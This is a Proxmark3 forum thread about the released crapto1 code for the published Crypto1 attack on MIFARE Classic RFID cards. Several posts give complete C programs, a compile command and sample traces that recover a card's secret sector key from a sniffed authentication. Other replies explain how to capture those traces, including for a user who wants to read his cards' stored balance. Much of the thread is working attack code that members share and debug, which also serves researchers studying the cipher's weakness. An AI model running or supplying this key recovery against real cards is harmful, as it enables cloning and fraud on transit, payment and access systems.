Proxmark3 community

Research, development and trades concerning the powerful Proxmark3 device.

Remember; sharing is caring. Bring something back to the community.


"Learn the tools of the trade the hard way." +Fravia

You are not logged in.

Announcement

Time changes and with it the technology
Proxmark3 @ discord

Users of this forum, please be aware that information stored on this site is not private.

#1 2008-10-23 08:45:05

Olivier
Member
Registered: 2008-10-17
Posts: 2

Crypto1 attack released

Hi,

The Crypto1 attack describe here : http://www.sos.cs.ru.nl/applications/rf … sorics.pdf has been released :

http://code.google.com/p/crapto1/

Offline

#2 2008-10-24 23:32:16

rule
Member
Registered: 2008-05-21
Posts: 417

Re: Crypto1 attack released

I verified this code. It seems to be working. Let us pray that system integrators informed their costumers!

              Initialization values
         UID: c1  08  41  6a
         KEY: 62  be  a1  92  fa  37

              Decrypted random nonces
          Nt: ab  cd  19  49
         Nt': 6b  01  17  99
        Nt'': b8  68  c4  dc
          Nr: 16  05  49  0d

              Mifare Classic trace, []=Encrypted
    Auth(00): 60  00  f5  7b
          Nt: ab  cd  19  49
    [Nr,Nt']: 59! d5  92  0f! 15  b9  d5! 53!
      [Nt'']: a7! 9a  3f! ee!
// Test-file: test2.c
#include "crypto1.h"
#include "crapto1.h"
#include <stdio.h>

int main (void)
{
  struct Crypto1State revstate;
  uint64_t lfsr;
  unsigned char* plfsr = (unsigned char*)&lfsr;

  uint32_t uid                = 0xc108416a;
  uint32_t tag_challenge      = 0xabcd1949;
  uint32_t nr_enc             = 0x59d5920f;
  uint32_t reader_resonse     = 0x15b9d553;
  uint32_t tag_resonse        = 0xa79a3fee;
  uint32_t ks2                = reader_resonse ^ prng_successor(tag_challenge, 64);
  uint32_t ks3                = tag_resonse ^ prng_successor(tag_challenge, 96);

  printf("nt': %08x\n",prng_successor(tag_challenge, 64));
  printf("nt'': %08x\n",prng_successor(tag_challenge, 96));
  
  printf("ks2: %08x\n",ks2);
  printf("ks3: %08x\n",ks3);

  lfsr_recovery(&revstate, ks2, ks3);
  lfsr_rollback(&revstate, 0, 0);
  lfsr_rollback(&revstate, 0, 0);
  lfsr_rollback(&revstate, nr_enc, 1);
  lfsr_rollback(&revstate, uid ^ tag_challenge, 0);
  crypto1_get_lfsr(&revstate, &lfsr);
  printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);

  return 0;
}
./test2
nt': 6b011799
nt'': b868c4dc
ks2: 7eb8c2ca
ks3: 1ff2fb32
Found Key: [62 be a1 92 fa 37]

Offline

#3 2008-11-01 11:10:04

Dennyxiao
Contributor
Registered: 2008-11-01
Posts: 43

Re: Crypto1 attack released

It work , got it.

Offline

#4 2008-11-02 05:35:39

rodolpho.pedra
Member
Registered: 2008-10-31
Posts: 2

Re: Crypto1 attack released

When I compile the code, many errors appear

Someone has the tool that decrypt the code? (I use Windows because dont know Linux)

I dont understand the tool.

Example:
I use a Omnikey 5321 reader and when I put the card, the sequence is:
************
ATR: 3B 8F 80 01 80 4F 0C A0 00 00 03 06 03 00 01 00 00 00 00 6A
UID: BC 27 32 D9
MODEL: MIFARE STANDARD 1K
************

How do I decrypt this?

Last edited by rodolpho.pedra (2008-11-02 06:26:40)

Offline

#5 2008-11-02 08:07:50

rf_hack
Contributor
Registered: 2008-08-20
Posts: 16

Re: Crypto1 attack released

You need, the log of the transaction up to the end of the authentication

<-- UID (32 bits)  = The one you got
<-- CHIP RND (32 bits)
--> READER RESPONSE/CHALLENGE (split in 2 x 32bit word)
<-- CHIP RESPONSE (32 bits)

You will not be able to get it with as an output of a Omnikey reader. You need an oscilloscope to recover the signal on the reader chip (or on the field directly but more challenging). For this, you need to launch a card reading to at least get an authentication.
But first of all reader the publication on Mifare, this is well explained ;-)

Offline

#6 2008-11-02 12:34:51

rule
Member
Registered: 2008-05-21
Posts: 417

Re: Crypto1 attack released

The ATR that the omnikey is showing is no real ATR/ATS for a MIFARE Classic card, since ISO14443A (layer3) does not support it. It is just the default string of the application.

So you actually only have retrieved the UID of the card so far. As rf_hack mentions, you need a trace of the transaction with the original reader to recover the key and see what (memory block) it is trying to read out.

Offline

#7 2008-11-02 16:23:56

rodolpho.pedra
Member
Registered: 2008-10-31
Posts: 2

Re: Crypto1 attack released

To discover the TRACE of the transaction, i need ProxMark?
If yes, please contact-me to show the price and a simple How to use document...becouse i dont understand programing and crypto.

I want only discover the balance of my cards.

Offline

#8 2008-11-03 09:00:32

Dennyxiao
Contributor
Registered: 2008-11-01
Posts: 43

Re: Crypto1 attack released

How to get it work in windows enviorment?

thanks in advance.

Offline

#9 2008-11-04 07:39:09

salami1_1
Member
Registered: 2008-11-04
Posts: 4

Re: Crypto1 attack released

rodolpho.pedra wrote:

To discover the TRACE of the transaction, i need ProxMark?
If yes, please contact-me to show the price and a simple How to use document...becouse i dont understand programing and crypto.

I want only discover the balance of my cards.

you don't 'discover' the trace, you log (or trace) the communication..
And yes as far as I understand you can do this with ProxMark, also OPENPicc can be used

B.r.

Offline

#10 2009-02-12 11:05:34

shinechou
Contributor
Registered: 2008-10-20
Posts: 35

Re: Crypto1 attack released

roel,

why can't I get the correct key with the newest crapto1 1.0 build?  if I use the "test2.c" to calc. the key,

// Test-file: test2.c
#include "crypto1.h"
#include "crapto1.h"
#include <stdio.h>

int main (void)
{
  struct Crypto1State revstate;
  uint64_t lfsr;
  unsigned char* plfsr = (unsigned char*)&lfsr;

  uint32_t uid                = 0xc108416a;
  uint32_t tag_challenge      = 0xabcd1949;
  uint32_t nr_enc             = 0x59d5920f;
  uint32_t reader_resonse     = 0x15b9d553;
  uint32_t tag_resonse        = 0xa79a3fee;
  uint32_t ks2                = reader_resonse ^ prng_successor(tag_challenge, 64);
  uint32_t ks3                = tag_resonse ^ prng_successor(tag_challenge, 96);

  printf("nt': %08x\n",prng_successor(tag_challenge, 64));
  printf("nt'': %08x\n",prng_successor(tag_challenge, 96));
  
  printf("ks2: %08x\n",ks2);
  printf("ks3: %08x\n",ks3);

  lfsr_recovery(&revstate, ks2, ks3);
  lfsr_rollback(&revstate, 0, 0);
  lfsr_rollback(&revstate, 0, 0);
  lfsr_rollback(&revstate, nr_enc, 1);
  lfsr_rollback(&revstate, uid ^ tag_challenge, 0);
  crypto1_get_lfsr(&revstate, &lfsr);
  printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);

  return 0;
}

then the output is,

./test2
nt': 6b011799
nt'': b868c4dc
ks2: 7eb8c2ca
ks3: 1ff2fb32
Found Key: [41 87 b3 7e 04 50]                    // would be "[62 be a1 92 fa 37]" as u shown

Last edited by shinechou (2009-02-12 11:06:51)

Offline

#11 2009-02-16 11:41:24

rule
Member
Registered: 2008-05-21
Posts: 417

Re: Crypto1 attack released

It still seems to work, the api got changed a little bit.

// Test-file: test2.c
#include "crapto1.h"
#include <stdio.h>

int main (void)
{
  struct Crypto1State *revstate;
  uint64_t lfsr;
  unsigned char* plfsr = (unsigned char*)&lfsr;

  uint32_t uid                = 0xc108416a;
  uint32_t tag_challenge      = 0xabcd1949;
  uint32_t nr_enc             = 0x59d5920f;
  uint32_t reader_response    = 0x15b9d553;
  uint32_t tag_response       = 0xa79a3fee;
  uint32_t ks2                = reader_response ^ prng_successor(tag_challenge, 64);
  uint32_t ks3                = tag_response ^ prng_successor(tag_challenge, 96);

  printf("nt': %08x\n",prng_successor(tag_challenge, 64));
  printf("nt'': %08x\n",prng_successor(tag_challenge, 96));

  printf("ks2: %08x\n",ks2);
  printf("ks3: %08x\n",ks3);

  revstate = lfsr_recovery(ks2, ks3);
  lfsr_rollback(revstate, 0, 0);
  lfsr_rollback(revstate, 0, 0);
  lfsr_rollback(revstate, nr_enc, 1);
  lfsr_rollback(revstate, uid ^ tag_challenge, 0);
  crypto1_get_lfsr(revstate, &lfsr);
  printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);

  return 0;
}

You can compille it the following way:

gcc -o test2 test2.c crapto1.c crypto1.c

The output is:

./test2
nt': 6b011799
nt'': b868c4dc
ks2: 7eb8c2ca
ks3: 1ff2fb32
Found Key: [62 be a1 92 fa 37]

Offline

#12 2009-02-17 04:01:14

shinechou
Contributor
Registered: 2008-10-20
Posts: 35

Re: Crypto1 attack released

dear roel,

thx a ton!

I'd gotten the correct result by analysis version 0.5, I omit the API-difference about "lfsr_recovery()" function at first.

Offline

#13 2009-02-18 04:15:49

shinechou
Contributor
Registered: 2008-10-20
Posts: 35

Re: Crypto1 attack released

phobophile wrote:

Does any one have any idea what this function does: lfsr_recovery_borked() ?

u can find it in the paper "http://www.sos.cs.ru.nl/applications/rf … sorics.pdf", just another lfsr_recovery implementation!

Offline

#14 2009-03-09 09:19:45

Widmo
Member
Registered: 2008-09-15
Posts: 8

Re: Crypto1 attack released

Hello smile

Could You explain me two things?

First:
What hardware i need to log the trace? OpenPICC? But it is hard to buy - why? smile
Maybe i should use OpenPCD?

For example I have sniffed communication by OpenPICC:
http://www.openpcd.org/dl/openpicc/opcd_samples

Decode it, i have example output:

Y
Z[07]0 Z[07]0 Z[07]0 Z[07]0 Z[07]0 Z[07]0 Z[07]0 Z[00]0  [11]1   ==0x00
X[07]1 X[07]1 X[07]1 X[07]1 X[07]1 X[07]1 X[07]1 X[07]1 X[07]1   ==0xFF
X[07]1 X[11]0 Z[07]0 Z[00]0  [11]1 X[11]0 Z[07]0 Z[00]0  [12]1   ==0x11
X[00]0  [14]1 X[11]0 Z[07]0 Z[00]0  [11]1 X[11]0 Z[00]0  [11]1   ==0x22
X[07]1 X[07]1 X[11]0 Z[00]0  [11]1 X[07]1 X[11]0 Z[00]0  [11]1   ==0x33
X[12]0 Z[00]0  [10]1 X[11]0 Z[07]0 Z[00]0  [11]1 X[00]0  [16]1   ==0x44
X[06]1 X[00]0  [15]1 X[00]0  [16]1 X[00]0  [14]1 X[00]0  [15]1   ==0x55
X[00]0  [16]1 X[06]1 X[12]0 Z[00]0  [11]1 X[06]1 X[00]0  [15]1   ==0x66
X[00]0  [16]1 X[00]0  [14]1 X[11]0 Z[00]0  [12]1 X[10]0 Z[08]0   ==0x4A
Z[07]0 Z[00]0  [11]1 X[07]1 X[11]0 Z[00]0  [11]1 X[10]0 Z[08]0   ==0x4C
CRC OK

How to know values, what i should to set in test.c code ?

  uint32_t uid                = 0xc108416a;  //?
  uint32_t tag_challenge      = 0xabcd1949; //?
  uint32_t nr_enc             = 0x59d5920f; //?
  uint32_t reader_response    = 0x15b9d553; //? 
  uint32_t tag_response       = 0xa79a3fee;  //?

Thank You for explain smile

Offline

#15 2009-03-09 09:52:57

rule
Member
Registered: 2008-05-21
Posts: 417

Re: Crypto1 attack released

You should buy a proxmark, for example from this website
More information about using the proxmark is in this manual

Offline

#16 2009-03-28 23:53:25

Widmo
Member
Registered: 2008-09-15
Posts: 8

Re: Crypto1 attack released

http://code.google.com/p/crapto1/

The new version was released.
Can someone explain to me what are the differences between lfsr_recovery 32 and 64 bits?
How do I change the code file test2 - that everything work properly?

Offline

#17 2009-04-11 09:16:54

Dennyxiao
Contributor
Registered: 2008-11-01
Posts: 43

Re: Crypto1 attack released

Widmo, I'm also need to know the differency of lfsr_recovery 32 and 64 bits?
It seems that it doesn't work properly, if just modify lfsr_recovery  to 64 .

Offline

#18 2009-04-11 09:44:47

Dennyxiao
Contributor
Registered: 2008-11-01
Posts: 43

Re: Crypto1 attack released

BTW;
malloc always cann't automatically convert  the according type ,show a error
invalid conversation from void to * (ohter ) error.
I use dev c++  4.9.8
Any setting to avoid this error.

Offline

#19 2009-07-13 12:27:32

rutger
Member
Registered: 2009-07-06
Posts: 3

Re: Crypto1 attack released

I downloaded crapto1-v2.3.tgz from http://code.google.com/p/crapto1/. I think there is a buglet in file crypto1.c in function crypto1_create(). s is malloc'ed, then s->odd and s->even are used uninitialized in the loop. In previous versions, these fields were zero'ed at the start of the loop. Doing calloc() or zeroing the fields fixes this.

One more thing I ran into. Our project (http://www.rfidguardian.org) would like to run this software on our embedded device. Stack space is limited, and I get runtime errors because in crapto1.c lfsr_recovery64() the array uint32_t table[1<<16] is on the stack. If I malloc/free this thingy, things work again.

Offline

#20 2009-07-13 18:55:51

adam@algroup.co.uk
Contributor
From: UK
Registered: 2009-05-01
Posts: 203
Website

Re: Crypto1 attack released

Which reminds me, the demo applet here:

http://www.proxmark.org/files/index.php … recrack%2F

is still the bugged version... Can someone move the Makefile and mifarecrack.c from the upload section?

Thanks!

Offline

#21 2009-07-14 13:01:51

rutger
Member
Registered: 2009-07-06
Posts: 3

Re: Crypto1 attack released

adam@algroup.co.uk wrote:

Which reminds me, the demo applet here:

http://www.proxmark.org/files/index.php … recrack%2F

is still the bugged version... Can someone move the Makefile and mifarecrack.c from the upload section?

Thanks!

In which sense is this bugged? It looks alright to me.

Rutger

Offline

#22 2009-07-14 15:16:07

adam@algroup.co.uk
Contributor
From: UK
Registered: 2009-05-01
Posts: 203
Website

Re: Crypto1 attack released

sorry, not really "bugged", just the new version is better as it allows direct cut & paste from the log without having to edit out spaces and plings etc. The new version and it's associated Makefile is in the upload section and just needs copying over the top of the version in the various software section...

Offline

#23 2009-07-16 11:36:44

rutger
Member
Registered: 2009-07-06
Posts: 3

Re: Crypto1 attack released

hat wrote:
rutger wrote:

I downloaded crapto1-v2.3.tgz from
One more thing I ran into. Our project (http://www.rfidguardian.org) would like to run this software on our embedded device. Stack space is limited, and I get runtime errors because in crapto1.c lfsr_recovery64() the array uint32_t table[1<<16] is on the stack. If I malloc/free this thingy, things work again.

i was looking at your code, and i'm not sure if it's sensible to fix bugs of this granularity yet. but the fix you applied

251          table = malloc(sizeof *table << 16);
252          sl = statelist = malloc(sizeof(struct Crypto1State) << 4);
253          if(!sl || !table)
254                  return 0;

would leak 256k of memory, if 'table' was allocated correctly but 'sl' wasn't. Which granted, is unlikely. Btw can anybody tell me that 1 << 16 items is enough for that array under any conditions?

OK, I fixed this. Thanks. It didn't take you long to find this file in our code base BTW.

if needed it could be fun i guess to optimize the code for specific hardware.

You mean, like adding BlackFin assembly for the critical routines?

Rutger

Offline

#24 2010-04-22 18:48:53

slipdop
Member
Registered: 2010-01-31
Posts: 8

Re: Crypto1 attack released

the latest version of crapto1 (v3.2) changes some function names, so to make it work you have to modify test2.c to support that:

// Test-file: test2.c
#include "crapto1.h"
#include <stdio.h>

int main (void)
{
 struct Crypto1State *revstate;
 uint64_t lfsr;
 unsigned char* plfsr = (unsigned char*)&lfsr;


 uint32_t uid                = 0x9c599b32;
 uint32_t tag_challenge      = 0x82a4166c;
 uint32_t nr_enc             = 0xa1e458ce;
 uint32_t reader_response    = 0x6eea41e0;
 uint32_t tag_response       = 0x5cadf439;

 uint32_t ks2                = reader_response ^ prng_successor(tag_challenge, 64);
 uint32_t ks3                = tag_response ^ prng_successor(tag_challenge, 96);

 printf("nt': %08x\n",prng_successor(tag_challenge, 64));
 printf("nt'': %08x\n",prng_successor(tag_challenge, 96));

 printf("ks2: %08x\n",ks2);
 printf("ks3: %08x\n",ks3);

 revstate = lfsr_recovery64(ks2, ks3);
 lfsr_rollback_word(revstate, 0, 0);
 lfsr_rollback_word(revstate, 0, 0);
 lfsr_rollback_word(revstate, nr_enc, 1);
 lfsr_rollback_word(revstate, uid ^ tag_challenge, 0);
 crypto1_get_lfsr(revstate, &lfsr);
 printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);

 return 0;
}

the two changes to make it work were to change functions lfsr_rollback to lfsr_rollback_word and lfsr_recovery to lfsr_recovery64

your results should be:

nt': 8d65734b
nt'': 9a427b20
ks2: e38f32ab
ks3: c6ef8f19
Found Key: [ff ff ff ff ff ff]

Last edited by slipdop (2010-04-22 18:50:01)

Offline

Board footer

Powered by FluxBB